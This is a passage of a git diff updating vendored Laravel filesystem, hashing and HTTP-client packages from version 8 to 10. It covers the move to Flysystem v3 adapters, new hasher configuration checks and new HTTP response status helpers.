Str::replaceFirst('/public/', '/', $path); } return $path; } + /** + * Determine if temporary URLs can be generated. + * + * @return bool + */ + public function providesTemporaryUrls() + { + return method_exists($this->adapter, 'getTemporaryUrl') || isset($this->temporaryUrlCallback); + } + /** * Get a temporary URL for the file at the given path. * @@ -578,14 +737,8 @@ protected function getLocalUrl($path) */ public function temporaryUrl($path, $expiration, array $options = []) { - $adapter = $this->driver->getAdapter(); - - if ($adapter instanceof CachedAdapter) { - $adapter = $adapter->getAdapter(); - } - - if (method_exists($adapter, 'getTemporaryUrl')) { - return $adapter->getTemporaryUrl($path, $expiration, $options); + if (method_exists($this->adapter, 'getTemporaryUrl')) { + return $this->adapter->getTemporaryUrl($path, $expiration, $options); } if ($this->temporaryUrlCallback) { @@ -594,43 +747,26 @@ public function temporaryUrl($path, $expiration, array $options = []) ); } - if ($adapter instanceof AwsS3Adapter) { - return $this->getAwsTemporaryUrl($adapter, $path, $expiration, $options); - } - throw new RuntimeException('This driver does not support creating temporary URLs.'); } /** - * Get a temporary URL for the file at the given path. + * Get a temporary upload URL for the file at the given path. * - * @param \League\Flysystem\AwsS3v3\AwsS3Adapter $adapter * @param string $path * @param \DateTimeInterface $expiration * @param array $options - * @return string + * @return array + * + * @throws \RuntimeException */ - public function getAwsTemporaryUrl($adapter, $path, $expiration, $options) + public function temporaryUploadUrl($path, $expiration, array $options = []) { - $client = $adapter->getClient(); - - $command = $client->getCommand('GetObject', array_merge([ - 'Bucket' => $adapter->getBucket(), - 'Key' => $adapter->getPathPrefix().$path, - ], $options)); - - $uri = $client->createPresignedRequest( - $command, $expiration - )->getUri(); - - // If an explicit base URL has been set on the disk configuration then we will use - // it as the base URL instead of the default path. This allows the developer to - // have full control over the base path for this filesystem's generated URLs. - if (! is_null($url = $this->driver->getConfig()->get('temporary_url'))) { - $uri = $this->replaceBaseUrl($uri, $url); + if (method_exists($this->adapter, 'temporaryUploadUrl')) { + return $this->adapter->temporaryUploadUrl($path, $expiration, $options); } - return (string) $uri; + throw new RuntimeException('This driver does not support creating temporary upload URLs.'); } /** @@ -671,9 +807,15 @@ protected function replaceBaseUrl($uri, $url) */ public function files($directory = null, $recursive = false) { - $contents = $this->driver->listContents($directory ?? '', $recursive); - - return $this->filterContentsByType($contents, 'file'); + return $this->driver->listContents($directory ?? '', $recursive) + ->filter(function (StorageAttributes $attributes) { + return $attributes->isFile(); + }) + ->sortByPath() + ->map(function (StorageAttributes $attributes) { + return $attributes->path(); + }) + ->toArray(); } /** @@ -696,13 +838,18 @@ public function allFiles($directory = null) */ public function directories($directory = null, $recursive = false) { - $contents = $this->driver->listContents($directory ?? '', $recursive); - - return $this->filterContentsByType($contents, 'dir'); + return $this->driver->listContents($directory ?? '', $recursive) + ->filter(function (StorageAttributes $attributes) { + return $attributes->isDir(); + }) + ->map(function (StorageAttributes $attributes) { + return $attributes->path(); + }) + ->toArray(); } /** - * Get all (recursive) of the directories within a given directory. + * Get all the directories within a given directory (recursive). * * @param string|null $directory * @return array @@ -720,7 +867,15 @@ public function allDirectories($directory = null) */ public function makeDirectory($path) { - return $this->driver->createDir($path); + try { + $this->driver->createDirectory($path); + } catch (UnableToCreateDirectory|UnableToSetVisibility $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } + + return true; } /** @@ -731,47 +886,45 @@ public function makeDirectory($path) */ public function deleteDirectory($directory) { - return $this->driver->deleteDir($directory); + try { + $this->driver->deleteDirectory($directory); + } catch (UnableToDeleteDirectory $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } + + return true; } /** - * Flush the Flysystem cache. + * Get the Flysystem driver. * - * @return void + * @return \League\Flysystem\FilesystemOperator */ - public function flushCache() + public function getDriver() { - $adapter = $this->driver->getAdapter(); - - if ($adapter instanceof CachedAdapter) { - $adapter->getCache()->flush(); - } + return $this->driver; } /** - * Get the Flysystem driver. + * Get the Flysystem adapter. * - * @return \League\Flysystem\FilesystemInterface + * @return \League\Flysystem\FilesystemAdapter */ - public function getDriver() + public function getAdapter() { - return $this->driver; + return $this->adapter; } /** - * Filter directory contents by type. + * Get the configuration values. * - * @param array $contents - * @param string $type * @return array */ - protected function filterContentsByType($contents, $type) + public function getConfig() { - return Collection::make($contents) - ->where('type', $type) - ->pluck('path') - ->values() - ->all(); + return $this->config; } /** @@ -788,14 +941,11 @@ protected function parseVisibility($visibility) return; } - switch ($visibility) { - case FilesystemContract::VISIBILITY_PUBLIC: - return AdapterInterface::VISIBILITY_PUBLIC; - case FilesystemContract::VISIBILITY_PRIVATE: - return AdapterInterface::VISIBILITY_PRIVATE; - } - - throw new InvalidArgumentException("Unknown visibility: {$visibility}."); + return match ($visibility) { + FilesystemContract::VISIBILITY_PUBLIC => Visibility::PUBLIC, + FilesystemContract::VISIBILITY_PRIVATE => Visibility::PRIVATE, + default => throw new InvalidArgumentException("Unknown visibility: {$visibility}."), + }; } /** @@ -809,6 +959,16 @@ public function buildTemporaryUrlsUsing(Closure $callback) $this->temporaryUrlCallback = $callback; } + /** + * Determine if Flysystem exceptions should be thrown. + * + * @return bool + */ + protected function throwsExceptions(): bool + { + return (bool) ($this->config['throw'] ?? false); + } + /** * Pass dynamic methods call onto Flysystem. * @@ -818,7 +978,7 @@ public function buildTemporaryUrlsUsing(Closure $callback) * * @throws \BadMethodCallException */ - public function __call($method, array $parameters) + public function __call($method, $parameters) { if (static::hasMacro($method)) { return $this->macroCall($method, $parameters); diff --git a/vendor/illuminate/filesystem/FilesystemManager.php b/vendor/illuminate/filesystem/FilesystemManager.php index 684c48738..d81b31ff6 100644 --- a/vendor/illuminate/filesystem/FilesystemManager.php +++ b/vendor/illuminate/filesystem/FilesystemManager.php @@ -7,18 +7,23 @@ use Illuminate\Contracts\Filesystem\Factory as FactoryContract; use Illuminate\Support\Arr; use InvalidArgumentException; -use League\Flysystem\Adapter\Ftp as FtpAdapter; -use League\Flysystem\Adapter\Local as LocalAdapter; -use League\Flysystem\AdapterInterface; -use League\Flysystem\AwsS3v3\AwsS3Adapter as S3Adapter; -use League\Flysystem\Cached\CachedAdapter; -use League\Flysystem\Cached\Storage\Memory as MemoryStore; +use League\Flysystem\AwsS3V3\AwsS3V3Adapter as S3Adapter; +use League\Flysystem\AwsS3V3\PortableVisibilityConverter as AwsS3PortableVisibilityConverter; use League\Flysystem\Filesystem as Flysystem; -use League\Flysystem\FilesystemInterface; -use League\Flysystem\Sftp\SftpAdapter; +use League\Flysystem\FilesystemAdapter as FlysystemAdapter; +use League\Flysystem\Ftp\FtpAdapter; +use League\Flysystem\Ftp\FtpConnectionOptions; +use League\Flysystem\Local\LocalFilesystemAdapter as LocalAdapter; +use League\Flysystem\PathPrefixing\PathPrefixedAdapter; +use League\Flysystem\PhpseclibV3\SftpAdapter; +use League\Flysystem\PhpseclibV3\SftpConnectionProvider; +use League\Flysystem\ReadOnly\ReadOnlyFilesystemAdapter; +use League\Flysystem\UnixVisibility\PortableVisibilityConverter; +use League\Flysystem\Visibility; /** * @mixin \Illuminate\Contracts\Filesystem\Filesystem + * @mixin \Illuminate\Filesystem\FilesystemAdapter */ class FilesystemManager implements FactoryContract { @@ -81,7 +86,7 @@ public function disk($name = null) /** * Get a default cloud filesystem instance. * - * @return \Illuminate\Contracts\Filesystem\Filesystem + * @return \Illuminate\Contracts\Filesystem\Cloud */ public function cloud() { @@ -126,7 +131,7 @@ protected function get($name) */ protected function resolve($name, $config = null) { - $config = $config ?? $this->getConfig($name); + $config ??= $this->getConfig($name); if (empty($config['driver'])) { throw new InvalidArgumentException("Disk [{$name}] does not have a configured driver."); @@ -155,13 +160,7 @@ protected function resolve($name, $config = null) */ protected function callCustomCreator(array $config) { - $driver = $this->customCreators[$config['driver']]($this->app, $config); - - if ($driver instanceof FilesystemInterface) { - return $this->adapt($driver); - } - - return $driver; + return $this->customCreators[$config['driver']]($this->app, $config); } /** @@ -172,15 +171,20 @@ protected function callCustomCreator(array $config) */ public function createLocalDriver(array $config) { - $permissions = $config['permissions'] ?? []; + $visibility = PortableVisibilityConverter::fromArray( + $config['permissions'] ?? [], + $config['directory_visibility'] ?? $config['visibility'] ?? Visibility::PRIVATE + ); $links = ($config['links'] ?? null) === 'skip' ? LocalAdapter::SKIP_LINKS : LocalAdapter::DISALLOW_LINKS; - return $this->adapt($this->createFlysystem(new LocalAdapter( - $config['root'], $config['lock'] ?? LOCK_EX, $links, $permissions - ), $config)); + $adapter = new LocalAdapter( + $config['root'], $visibility, $config['lock'] ?? LOCK_EX, $links + ); + + return new FilesystemAdapter($this->createFlysystem($adapter, $config), $adapter, $config); } /** @@ -191,9 +195,13 @@ public function createLocalDriver(array $config) */ public function createFtpDriver(array $config) { - return $this->adapt($this->createFlysystem( - new FtpAdapter($config), $config - )); + if (! isset($config['root'])) { + $config['root'] = ''; + } + + $adapter = new FtpAdapter(FtpConnectionOptions::fromArray($config)); + + return new FilesystemAdapter($this->createFlysystem($adapter, $config), $adapter, $config); } /** @@ -204,9 +212,17 @@ public function createFtpDriver(array $config) */ public function createSftpDriver(array $config) { - return $this->adapt($this->createFlysystem( - new SftpAdapter($config), $config - )); + $provider = SftpConnectionProvider::fromArray($config); + + $root = $config['root'] ?? '/'; + + $visibility = PortableVisibilityConverter::fromArray( + $config['permissions'] ?? [] + ); + + $adapter = new SftpAdapter($provider, $root, $visibility); + + return new FilesystemAdapter($this->createFlysystem($adapter, $config), $adapter, $config); } /** @@ -219,15 +235,21 @@ public function createS3Driver(array $config) { $s3Config = $this->formatS3Config($config); - $root = $s3Config['root'] ?? null; + $root = (string) ($s3Config['root'] ?? ''); - $options = $config['options'] ?? []; + $visibility = new AwsS3PortableVisibilityConverter( + $config['visibility'] ?? Visibility::PUBLIC + ); - $streamReads = $config['stream_reads'] ?? false; + $streamReads = $s3Config['stream_reads'] ?? false; - return $this->adapt($this->createFlysystem( - new S3Adapter(new S3Client($s3Config), $s3Config['bucket'], $root, $options, $streamReads), $config - )); + $client = new S3Client($s3Config); + + $adapter = new S3Adapter($client, $s3Config['bucket'], $root, $visibility, null, $config['options'] ?? [], $streamReads); + + return new AwsS3V3Adapter( + $this->createFlysystem($adapter, $config), $adapter, $s3Config, $client + ); } /** @@ -241,62 +263,67 @@ protected function formatS3Config(array $config) $config += ['version' => 'latest']; if (! empty($config['key']) && ! empty($config['secret'])) { - $config['credentials'] = Arr::only($config, ['key', 'secret', 'token']); + $config['credentials'] = Arr::only($config, ['key', 'secret']); + } + + if (! empty($config['token'])) { + $config['credentials']['token'] = $config['token']; } - return $config; + return Arr::except($config, ['token']); } /** - * Create a Flysystem instance with the given adapter. + * Create a scoped driver. * - * @param \League\Flysystem\AdapterInterface $adapter * @param array $config - * @return \League\Flysystem\FilesystemInterface + * @return \Illuminate\Contracts\Filesystem\Filesystem */ - protected function createFlysystem(AdapterInterface $adapter, array $config) + public function createScopedDriver(array $config) { - $cache = Arr::pull($config, 'cache'); - - $config = Arr::only($config, ['visibility', 'disable_asserts', 'url', 'temporary_url']); - - if ($cache) { - $adapter = new CachedAdapter($adapter, $this->createCacheStore($cache)); + if (empty($config['disk'])) { + throw new InvalidArgumentException('Scoped disk is missing "disk" configuration option.'); + } elseif (empty($config['prefix'])) { + throw new InvalidArgumentException('Scoped disk is missing "prefix" configuration option.'); } - return new Flysystem($adapter, count($config) > 0 ? $config : null); + return $this->build(tap( + is_string($config['disk']) ? $this->getConfig($config['disk']) : $config['disk'], + function (&$parent) use ($config) { + $parent['prefix'] = $config['prefix']; + + if (isset($config['visibility'])) { + $parent['visibility'] = $config['visibility']; + } + } + )); } /** - * Create a cache store instance. - * - * @param mixed $config - * @return \League\Flysystem\Cached\CacheInterface + * Create a Flysystem instance with the given adapter. * - * @throws \InvalidArgumentException + * @param \League\Flysystem\FilesystemAdapter $adapter + * @param array $config + * @return \League\Flysystem\FilesystemOperator */ - protected function createCacheStore($config) + protected function createFlysystem(FlysystemAdapter $adapter, array $config) { - if ($config === true) { - return new MemoryStore; + if ($config['read-only'] ?? false === true) { + $adapter = new ReadOnlyFilesystemAdapter($adapter); } - return new Cache( - $this->app['cache']->store($config['store']), - $config['prefix'] ?? 'flysystem', - $config['expire'] ?? null - ); - } + if (! empty($config['prefix'])) { + $adapter = new PathPrefixedAdapter($adapter, $config['prefix']); + } - /** - * Adapt the filesystem implementation. - * - * @param \League\Flysystem\FilesystemInterface $filesystem - * @return \Illuminate\Contracts\Filesystem\Filesystem - */ - protected function adapt(FilesystemInterface $filesystem) - { - return new FilesystemAdapter($filesystem); + return new Flysystem($adapter, Arr::only($config, [ + 'directory_visibility', + 'disable_asserts', + 'retain_visibility', + 'temporary_url', + 'url', + 'visibility', + ])); } /** @@ -367,7 +394,7 @@ public function forgetDisk($disk) */ public function purge($name = null) { - $name = $name ?? $this->getDefaultDriver(); + $name ??= $this->getDefaultDriver(); unset($this->disks[$name]); } diff --git a/vendor/illuminate/filesystem/LockableFile.php b/vendor/illuminate/filesystem/LockableFile.php index 58bd934f3..d354b8840 100644 --- a/vendor/illuminate/filesystem/LockableFile.php +++ b/vendor/illuminate/filesystem/LockableFile.php @@ -2,7 +2,6 @@ namespace Illuminate\Filesystem; -use Exception; use Illuminate\Contracts\Filesystem\LockTimeoutException; class LockableFile @@ -67,11 +66,7 @@ protected function ensureDirectoryExists($path) */ protected function createResource($path, $mode) { - $this->handle = @fopen($path, $mode); - - if (! $this->handle) { - throw new Exception('Unable to create lockable file: '.$path.'. Please ensure you have permission to create files in this location.'); - } + $this->handle = fopen($path, $mode); } /** @@ -101,7 +96,7 @@ public function size() * Write to the file. * * @param string $contents - * @return string + * @return $this */ public function write($contents) { diff --git a/vendor/illuminate/filesystem/composer.json b/vendor/illuminate/filesystem/composer.json index ca82b7a27..2af15697b 100644 --- a/vendor/illuminate/filesystem/composer.json +++ b/vendor/illuminate/filesystem/composer.json @@ -14,33 +14,38 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "symfony/finder": "^5.4" + "php": "^8.1", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "symfony/finder": "^6.2" }, "autoload": { "psr-4": { "Illuminate\\Filesystem\\": "" - } + }, + "files": [ + "functions.php" + ] }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "suggest": { + "ext-fileinfo": "Required to use the Filesystem class.", "ext-ftp": "Required to use the Flysystem FTP driver.", + "ext-hash": "Required to use the Filesystem class.", "illuminate/http": "Required for handling uploaded files (^7.0).", - "league/flysystem": "Required to use the Flysystem local and FTP drivers (^1.1).", - "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^1.0).", - "league/flysystem-cached-adapter": "Required to use the Flysystem cache (^1.0).", - "league/flysystem-sftp": "Required to use the Flysystem SFTP driver (^1.0).", + "league/flysystem": "Required to use the Flysystem local driver (^3.0.16).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^3.0).", + "league/flysystem-ftp": "Required to use the Flysystem FTP driver (^3.0).", + "league/flysystem-sftp-v3": "Required to use the Flysystem SFTP driver (^3.0).", "psr/http-message": "Required to allow Storage::put to accept a StreamInterface (^1.0).", - "symfony/filesystem": "Required to enable support for relative symbolic links (^5.4).", - "symfony/mime": "Required to enable support for guessing extensions (^5.4)." + "symfony/filesystem": "Required to enable support for relative symbolic links (^6.2).", + "symfony/mime": "Required to enable support for guessing extensions (^6.2)." }, "config": { "sort-packages": true diff --git a/vendor/illuminate/filesystem/functions.php b/vendor/illuminate/filesystem/functions.php new file mode 100644 index 000000000..af39716f6 --- /dev/null +++ b/vendor/illuminate/filesystem/functions.php @@ -0,0 +1,25 @@ + $path) { + if (empty($path)) { + unset($paths[$index]); + } else { + $paths[$index] = DIRECTORY_SEPARATOR.ltrim($path, DIRECTORY_SEPARATOR); + } + } + + return $basePath.implode('', $paths); + } +} diff --git a/vendor/illuminate/hashing/AbstractHasher.php b/vendor/illuminate/hashing/AbstractHasher.php index 7ec087bee..f10371290 100644 --- a/vendor/illuminate/hashing/AbstractHasher.php +++ b/vendor/illuminate/hashing/AbstractHasher.php @@ -19,13 +19,13 @@ public function info($hashedValue) * Check the given plain value against a hash. * * @param string $value - * @param string $hashedValue + * @param string|null $hashedValue * @param array $options * @return bool */ public function check($value, $hashedValue, array $options = []) { - if (strlen($hashedValue) === 0) { + if (is_null($hashedValue) || strlen($hashedValue) === 0) { return false; } diff --git a/vendor/illuminate/hashing/Argon2IdHasher.php b/vendor/illuminate/hashing/Argon2IdHasher.php index 0a36a3000..f12f806e0 100644 --- a/vendor/illuminate/hashing/Argon2IdHasher.php +++ b/vendor/illuminate/hashing/Argon2IdHasher.php @@ -10,7 +10,7 @@ class Argon2IdHasher extends ArgonHasher * Check the given plain value against a hash. * * @param string $value - * @param string $hashedValue + * @param string|null $hashedValue * @param array $options * @return bool * @@ -18,17 +18,28 @@ class Argon2IdHasher extends ArgonHasher */ public function check($value, $hashedValue, array $options = []) { - if ($this->verifyAlgorithm && $this->info($hashedValue)['algoName'] !== 'argon2id') { + if ($this->verifyAlgorithm && ! $this->isUsingCorrectAlgorithm($hashedValue)) { throw new RuntimeException('This password does not use the Argon2id algorithm.'); } - if (strlen($hashedValue) === 0) { + if (is_null($hashedValue) || strlen($hashedValue) === 0) { return false; } return password_verify($value, $hashedValue); } + /** + * Verify the hashed value's algorithm. + * + * @param string $hashedValue + * @return bool + */ + protected function isUsingCorrectAlgorithm($hashedValue) + { + return $this->info($hashedValue)['algoName'] === 'argon2id'; + } + /** * Get the algorithm that should be used for hashing. * diff --git a/vendor/illuminate/hashing/ArgonHasher.php b/vendor/illuminate/hashing/ArgonHasher.php index b999257f4..4cbb38b46 100644 --- a/vendor/illuminate/hashing/ArgonHasher.php +++ b/vendor/illuminate/hashing/ArgonHasher.php @@ -95,7 +95,7 @@ protected function algorithm() */ public function check($value, $hashedValue, array $options = []) { - if ($this->verifyAlgorithm && $this->info($hashedValue)['algoName'] !== 'argon2i') { + if ($this->verifyAlgorithm && ! $this->isUsingCorrectAlgorithm($hashedValue)) { throw new RuntimeException('This password does not use the Argon2i algorithm.'); } @@ -118,6 +118,56 @@ public function needsRehash($hashedValue, array $options = []) ]); } + /** + * Verifies that the configuration is less than or equal to what is configured. + * + * @internal + */ + public function verifyConfiguration($value) + { + return $this->isUsingCorrectAlgorithm($value) && $this->isUsingValidOptions($value); + } + + /** + * Verify the hashed value's algorithm. + * + * @param string $hashedValue + * @return bool + */ + protected function isUsingCorrectAlgorithm($hashedValue) + { + return $this->info($hashedValue)['algoName'] === 'argon2i'; + } + + /** + * Verify the hashed value's options. + * + * @param string $hashedValue + * @return bool + */ + protected function isUsingValidOptions($hashedValue) + { + ['options' => $options] = $this->info($hashedValue); + + if ( + ! is_int($options['memory_cost'] ?? null) || + ! is_int($options['time_cost'] ?? null) || + ! is_int($options['threads'] ?? null) + ) { + return false; + } + + if ( + $options['memory_cost'] > $this->memory || + $options['time_cost'] > $this->time || + $options['threads'] > $this->threads + ) { + return false; + } + + return true; + } + /** * Set the default password memory factor. * diff --git a/vendor/illuminate/hashing/BcryptHasher.php b/vendor/illuminate/hashing/BcryptHasher.php index 26f928cb5..50b3859ed 100644 --- a/vendor/illuminate/hashing/BcryptHasher.php +++ b/vendor/illuminate/hashing/BcryptHasher.php @@ -12,7 +12,7 @@ class BcryptHasher extends AbstractHasher implements HasherContract * * @var int */ - protected $rounds = 10; + protected $rounds = 12; /** * Indicates whether to perform an algorithm check. @@ -67,7 +67,7 @@ public function make($value, array $options = []) */ public function check($value, $hashedValue, array $options = []) { - if ($this->verifyAlgorithm && $this->info($hashedValue)['algoName'] !== 'bcrypt') { + if ($this->verifyAlgorithm && ! $this->isUsingCorrectAlgorithm($hashedValue)) { throw new RuntimeException('This password does not use the Bcrypt algorithm.'); } @@ -88,6 +88,48 @@ public function needsRehash($hashedValue, array $options = []) ]); } + /** + * Verifies that the configuration is less than or equal to what is configured. + * + * @internal + */ + public function verifyConfiguration($value) + { + return $this->isUsingCorrectAlgorithm($value) && $this->isUsingValidOptions($value); + } + + /** + * Verify the hashed value's algorithm. + * + * @param string $hashedValue + * @return bool + */ + protected function isUsingCorrectAlgorithm($hashedValue) + { + return $this->info($hashedValue)['algoName'] === 'bcrypt'; + } + + /** + * Verify the hashed value's options. + * + * @param string $hashedValue + * @return bool + */ + protected function isUsingValidOptions($hashedValue) + { + ['options' => $options] = $this->info($hashedValue); + + if (! is_int($options['cost'] ?? null)) { + return false; + } + + if ($options['cost'] > $this->rounds) { + return false; + } + + return true; + } + /** * Set the default password work factor. * diff --git a/vendor/illuminate/hashing/HashManager.php b/vendor/illuminate/hashing/HashManager.php index 977ef2229..564411e4d 100644 --- a/vendor/illuminate/hashing/HashManager.php +++ b/vendor/illuminate/hashing/HashManager.php @@ -5,6 +5,9 @@ use Illuminate\Contracts\Hashing\Hasher; use Illuminate\Support\Manager; +/** + * @mixin \Illuminate\Contracts\Hashing\Hasher + */ class HashManager extends Manager implements Hasher { /** @@ -85,6 +88,17 @@ public function needsRehash($hashedValue, array $options = []) return $this->driver()->needsRehash($hashedValue, $options); } + /** + * Determine if a given string is already hashed. + * + * @param string $value + * @return bool + */ + public function isHashed($value) + { + return password_get_info($value)['algo'] !== null; + } + /** * Get the default driver name. * diff --git a/vendor/illuminate/hashing/composer.json b/vendor/illuminate/hashing/composer.json index 6ad3411c7..1b9c02629 100644 --- a/vendor/illuminate/hashing/composer.json +++ b/vendor/illuminate/hashing/composer.json @@ -14,9 +14,9 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0" }, "autoload": { "psr-4": { @@ -25,7 +25,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/http/Client/Concerns/DeterminesStatusCode.php b/vendor/illuminate/http/Client/Concerns/DeterminesStatusCode.php new file mode 100644 index 000000000..29a33c07c --- /dev/null +++ b/vendor/illuminate/http/Client/Concerns/DeterminesStatusCode.php @@ -0,0 +1,167 @@ +status() === 200; + } + + /** + * Determine if the response code was 201 "Created" response. + * + * @return bool + */ + public function created() + { + return $this->status() === 201; + } + + /** + * Determine if the response code was 202 "Accepted" response. + * + * @return bool + */ + public function accepted() + { + return $this->status() === 202; + } + + /** + * Determine if the response code was the given status code and the body has no content. + * + * @param int $status + * @return bool + */ + public function noContent($status = 204) + { + return $this->status() === $status && $this->body() === ''; + } + + /** + * Determine if the response code was a 301 "Moved Permanently". + * + * @return bool + */ + public function movedPermanently() + { + return $this->status() === 301; + } + + /** + * Determine if the response code was a 302 "Found" response. + * + * @return bool + */ + public function found() + { + return $this->status() === 302; + } + + /** + * Determine if the response code was a 304 "Not Modified" response. + * + * @return bool + */ + public function notModified() + { + return $this->status() === 304; + } + + /** + * Determine if the response was a 400 "Bad Request" response. + * + * @return bool + */ + public function badRequest() + { + return $this->status() === 400; + } + + /** + * Determine if the response was a 401 "Unauthorized" response. + * + * @return bool + */ + public function unauthorized() + { + return $this->status() === 401; + } + + /** + * Determine if the response was a 402 "Payment Required" response. + * + * @return bool + */ + public function paymentRequired() + { + return $this->status() === 402; + } + + /** + * Determine if the response was a 403 "Forbidden" response. + * + * @return bool + */ + public function forbidden() + { + return $this->status() === 403; + } + + /** + * Determine if the response was a 404 "Not Found" response. + * + * @return bool + */ + public function notFound() + { + return $this->status() === 404; + } + + /** + * Determine if the response was a 408 "Request Timeout" response. + * + * @return bool + */ + public function requestTimeout() + { + return $this->status() === 408; + } + + /** + * Determine if the response was a 409 "Conflict" response. + * + * @return bool + */ + public function conflict() + { + return $this->status() === 409; + } + + /** + * Determine if the response was a 422 "Unprocessable Entity" response. + * + * @return bool + */ + public function unprocessableEntity() + { + return $this->status() === 422; + } + + /** + * Determine if the response was a 429 "Too Many Requests" response. + * + * @return bool + */ + public function tooManyRequests() + { + return $this->status() === 429; + } +} diff --git a/vendor/illuminate/http/Client/Factory.php b/vendor/illuminate/http/Client/Factory.php index 131e669a4..4bcd13d21 100644 --- a/vendor/illuminate/http/Client/Factory.php +++ b/vendor/illuminate/http/Client/Factory.php @@ -3,6 +3,8 @@ namespace Illuminate\Http\Client; use Closure; +use GuzzleHttp\Middleware; +use GuzzleHttp\Promise\Create; use GuzzleHttp\Promise\PromiseInterface; use GuzzleHttp\Psr7\Response as Psr7Response; use GuzzleHttp\TransferStats; @@ -12,44 +14,7 @@ use PHPUnit\Framework\Assert as PHPUnit; /** - * @method \Illuminate\Http\Client\PendingRequest accept(string $contentType) - * @method \Illuminate\Http\Client\PendingRequest acceptJson() - * @method \Illuminate\Http\Client\PendingRequest asForm() - * @method \Illuminate\Http\Client\PendingRequest asJson() - * @method \Illuminate\Http\Client\PendingRequest asMultipart() - * @method \Illuminate\Http\Client\PendingRequest async() - * @method \Illuminate\Http\Client\PendingRequest attach(string|array $name, string|resource $contents = '', string|null $filename = null, array $headers = []) - * @method \Illuminate\Http\Client\PendingRequest baseUrl(string $url) - * @method \Illuminate\Http\Client\PendingRequest beforeSending(callable $callback) - * @method \Illuminate\Http\Client\PendingRequest bodyFormat(string $format) - * @method \Illuminate\Http\Client\PendingRequest contentType(string $contentType) - * @method \Illuminate\Http\Client\PendingRequest dd() - * @method \Illuminate\Http\Client\PendingRequest dump() - * @method \Illuminate\Http\Client\PendingRequest retry(int $times, int $sleep = 0, ?callable $when = null) - * @method \Illuminate\Http\Client\PendingRequest sink(string|resource $to) - * @method \Illuminate\Http\Client\PendingRequest stub(callable $callback) - * @method \Illuminate\Http\Client\PendingRequest timeout(int $seconds) - * @method \Illuminate\Http\Client\PendingRequest withBasicAuth(string $username, string $password) - * @method \Illuminate\Http\Client\PendingRequest withBody(resource|string $content, string $contentType) - * @method \Illuminate\Http\Client\PendingRequest withCookies(array $cookies, string $domain) - * @method \Illuminate\Http\Client\PendingRequest withDigestAuth(string $username, string $password) - * @method \Illuminate\Http\Client\PendingRequest withHeaders(array $headers) - * @method \Illuminate\Http\Client\PendingRequest withMiddleware(callable $middleware) - * @method \Illuminate\Http\Client\PendingRequest withOptions(array $options) - * @method \Illuminate\Http\Client\PendingRequest withToken(string $token, string $type = 'Bearer') - * @method \Illuminate\Http\Client\PendingRequest withUserAgent(string $userAgent) - * @method \Illuminate\Http\Client\PendingRequest withoutRedirecting() - * @method \Illuminate\Http\Client\PendingRequest withoutVerifying() - * @method array pool(callable $callback) - * @method \Illuminate\Http\Client\Response delete(string $url, array $data = []) - * @method \Illuminate\Http\Client\Response get(string $url, array|string|null $query = null) - * @method \Illuminate\Http\Client\Response head(string $url, array|string|null $query = null) - * @method \Illuminate\Http\Client\Response patch(string $url, array $data = []) - * @method \Illuminate\Http\Client\Response post(string $url, array $data = []) - * @method \Illuminate\Http\Client\Response put(string $url, array $data = []) - * @method \Illuminate\Http\Client\Response send(string $method, string $url, array $options = []) - * - * @see \Illuminate\Http\Client\PendingRequest + * @mixin \Illuminate\Http\Client\PendingRequest */ class Factory { @@ -64,6 +29,20 @@ class Factory */ protected $dispatcher; + /** + * The middleware to apply to every request. + * + * @var array + */ + protected $globalMiddleware = []; + + /** + * The options to apply to every request. + * + * @var array + */ + protected $globalOptions = []; + /** * The stub callables that will handle requests. * @@ -92,6 +71,13 @@ class Factory */ protected $responseSequences = []; + /** + * Indicates that an exception should be thrown if any request is not faked. + * + * @var bool + */ + protected $preventStrayRequests = false; + /** * Create a new factory instance. * @@ -105,10 +91,62 @@ public function __construct(Dispatcher $dispatcher = null) $this->stubCallbacks = collect(); } + /** + * Add middleware to apply to every request. + * + * @param callable $middleware + * @return $this + */ + public function globalMiddleware($middleware) + { + $this->globalMiddleware[] = $middleware; + + return $this; + } + + /** + * Add request middleware to apply to every request. + * + * @param callable $middleware + * @return $this + */ + public function globalRequestMiddleware($middleware) + { + $this->globalMiddleware[] = Middleware::mapRequest($middleware); + + return $this; + } + + /** + * Add response middleware to apply to every request. + * + * @param callable $middleware + * @return $this + */ + public function globalResponseMiddleware($middleware) + { + $this->globalMiddleware[] = Middleware::mapResponse($middleware); + + return $this; + } + + /** + * Set the options to apply to every request. + * + * @param array $options + * @return $this + */ + public function globalOptions($options) + { + $this->globalOptions = $options; + + return $this; + } + /** * Create a new response instance for use during stubbing. * - * @param array|string $body + * @param array|string|null $body * @param int $status * @param array $headers * @return \GuzzleHttp\Promise\PromiseInterface @@ -123,9 +161,7 @@ public static function response($body = null, $status = 200, $headers = []) $response = new Psr7Response($status, $headers, $body); - return class_exists(\GuzzleHttp\Promise\Create::class) - ? \GuzzleHttp\Promise\Create::promiseFor($response) - : \GuzzleHttp\Promise\promise_for($response); + return Create::promiseFor($response); } /** @@ -142,7 +178,7 @@ public function sequence(array $responses = []) /** * Register a stub callable that will intercept requests and be able to return stub responses. * - * @param callable|array $callback + * @param callable|array|null $callback * @return $this */ public function fake($callback = null) @@ -218,6 +254,29 @@ public function stubUrl($url, $callback) }); } + /** + * Indicate that an exception should be thrown if any request is not faked. + * + * @param bool $prevent + * @return $this + */ + public function preventStrayRequests($prevent = true) + { + $this->preventStrayRequests = $prevent; + + return $this; + } + + /** + * Indicate that an exception should not be thrown if any request is not faked. + * + * @return $this + */ + public function allowStrayRequests() + { + return $this->preventStrayRequests(false); + } + /** * Begin recording request / response pairs. * @@ -361,7 +420,7 @@ public function recorded($callback = null) */ protected function newPendingRequest() { - return new PendingRequest($this); + return (new PendingRequest($this, 